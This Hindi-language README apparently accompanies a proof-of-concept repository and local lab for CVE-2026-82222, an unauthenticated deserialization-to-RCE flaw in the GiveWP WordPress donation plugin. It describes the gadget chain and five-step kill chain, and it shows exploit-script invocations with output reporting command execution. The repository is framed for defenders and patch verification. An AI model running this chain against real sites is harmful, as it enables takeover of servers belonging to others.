CVE-2026-82222 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और स्थानीय DDEV लैब, जो GiveWP WordPress प्लगइन में अनऑथेंटिकेटेड PHP ऑब्जेक्ट इंजेक्शन से RCE है, साथ में cURL और Python एक्सप्लॉइट स्क्रिप्ट्स।
| CVE | CVE-2026-82222 |
| CVSS | 10.0 (Critical) |
| CWE | CWE-502 — Deserialization of Untrusted Data |
| प्रभावित | GiveWP (Donation Plugin) <= 4.16.7.1 |
| पैच किया गया | 4.16.7.2 |
| एडवाइज़री | Patchstack |
केवल अधिकृत परीक्षण। यह रिपॉज़िटरी शिक्षा, भेद्यता अनुसंधान और उन सिस्टमों के परीक्षण के लिए है जिनके आप स्वामी हैं या जिनका परीक्षण करने की आपको स्पष्ट अनुमति है। अनधिकृत उपयोग अवैध है।
यह रिपॉज़िटरी सुरक्षा पेशेवरों को CVE-2026-82222 को समझने, पहचानने और
इससे बचाव करने में मदद करने के लिए मौजूद है। सभी प्रदर्शन एक स्थानीय
लैब (lab/) के लिए डिज़ाइन किए गए हैं जिसे आप अपनी मशीन पर चलाते हैं।
PoC डिस्क पर कुछ नहीं लिखता और कोई प्लगइन सेटिंग नहीं बदलता — कमांड आउटपुट
केवल ट्रिगर अनुरोध की HTTP प्रतिक्रिया में आता है। पूर्ण दायरे और रिपोर्टिंग
नीति के लिए SECURITY.md देखें।
├── lab/ # DDEV + WordPress + GiveWP 4.16.5.1 vulnerable lab
│ ├── setup.sh # one-command lab build
│ ├── set-givewp-version.sh # swap vulnerable/patched GiveWP versions
│ ├── .ddev/config.yaml # DDEV project config
│ └── README.md
├── poc/
│ ├── cve-2026-82222.sh # cURL exploit script
│ ├── poc.py # Python exploit script
│ └── requirements.txt
├── docs/
│ ├── ANALYSIS.md # technical write-up + reachability matrix
│ ├── BURP-MANUAL.md # Burp Repeater walkthrough (request/response)
│ └── CURL-POC.md # copy/paste cURL walkthrough
├── SECURITY.md # scope, reporting and safe-use policy
└── LICENSE
चार अनधिकृत अनुरोध और एक ट्रिगर:
users_can_register को
अनदेखा करता है और प्रमाणित WP कुकीज़ प्रदान करता है।last_name मेटा फ़ील्ड में एक सीरियलाइज़्ड POP चेन
(TCPDF → Symfony Session → DonorFactory → system) संग्रहीत करें।give_last के बिना एक डोनेशन सबमिट करें; GiveWP DB से नाम
भरता है, गैजेट को allowed_classes=false के साथ अनसीरियलाइज़ करता है, और
लाइव ऑब्जेक्ट ग्राफ़ को wp_give_sessions में सीरियलाइज़ करता है।unserialize() के साथ
वापस पढ़ता है; TCPDF::__destruct() call_user_func_array('system', [cmd])
तक पहुँचता है। आउटपुट HTTP प्रतिक्रिया में दिखाई देता है — डिस्क पर कुछ
नहीं लिखा जाता।पूर्ण विवरण: docs/ANALYSIS.md
cd lab
bash setup.sh
# -> https://cve-2026-82222.ddev.site
# form id printed at the end, gateway: manual, WP admin: admin/<random>
Docker + DDEV आवश्यक है।
cd poc
pip install -r requirements.txt
# cURL
bash cve-2026-82222.sh https://cve-2026-82222.ddev.site id <FORM_ID>
# Python
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -g manual -a 10.00 -v
# fingerprint only (no exploitation)
python3 poc.py https://cve-2026-82222.ddev.site --check
दोनों PoC डिज़ाइन से सिंगल-टार्गेट हैं — कोई बैच या मास-स्कैन मोड नहीं
है। इन्हें केवल lab/ में मौजूद लैब या उन सिस्टमों के विरुद्ध चलाएँ जिनका
परीक्षण करने के लिए आप अधिकृत हैं।
अपेक्षित सफलता आउटपुट (कमांड id):
[*] CVE-2026-82222 kill chain on https://cve-2026-82222.ddev.site (form 5)
[*] 1/5 Registering cve_1b290e (GiveWP ignores users_can_register) ...
-> HTTP 302
[+] auth cookie obtained
[*] 2/5 Fetching profile nonce ...
[+] nonce=a0fd84c9d7 user_id=7
[*] 3/5 Building POP gadget for command: id
[*] 4/5 Storing gadget in wp_usermeta.last_name ...
-> HTTP 302
[+] gadget planted
[*] 5/5 Poisoning wp_give_sessions (HTTP 500 is expected) ...
-> HTTP 500
[+] session poisoned
[*] Triggering RCE ...
[+] COMMAND OUTPUT (id) from /?give_action=view_receipt :
uid=501(sajjadsiam) gid=20(dialout) groups=20(dialout)
cd lab
bash set-givewp-version.sh 4.16.7.2 # patched build
cd ../poc
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -v
# -> chain dies; no output
| GiveWP | स्थिति |
|---|---|
| <= 4.16.5.1 | भेद्य — डिफ़ॉल्ट इंस्टॉल पूरी तरह पहुँच-योग्य है |
| 4.16.6 – 4.16.7.1 | भेद्य — एक लेगेसी (गैर-V3) फ़ॉर्म आवश्यक; पंजीकरण के लिए give_register_nonce चाहिए |
| 4.16.7.2 | पैच किया गया |
यह रिपॉज़िटरी केवल शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान की गई है। शामिल कोड एक प्रलेखित भेद्यता का प्रदर्शन करता है ताकि रक्षक डिटेक्शन बना सकें, पैच सत्यापित कर सकें और अपने स्वयं के सिस्टमों का परीक्षण कर सकें।
लेखक इस सामग्री के किसी भी दुरुपयोग या क्षति के लिए उत्तरदायी नहीं हैं। स्पष्ट अनुमति के बिना किसी भी सिस्टम के विरुद्ध इसका उपयोग न करें — ऐसा करना Computer Fraud and Abuse Act (CFAA) और दुनिया भर के समकक्ष कानूनों का उल्लंघन कर सकता है। SECURITY.md देखें।
MIT — LICENSE देखें।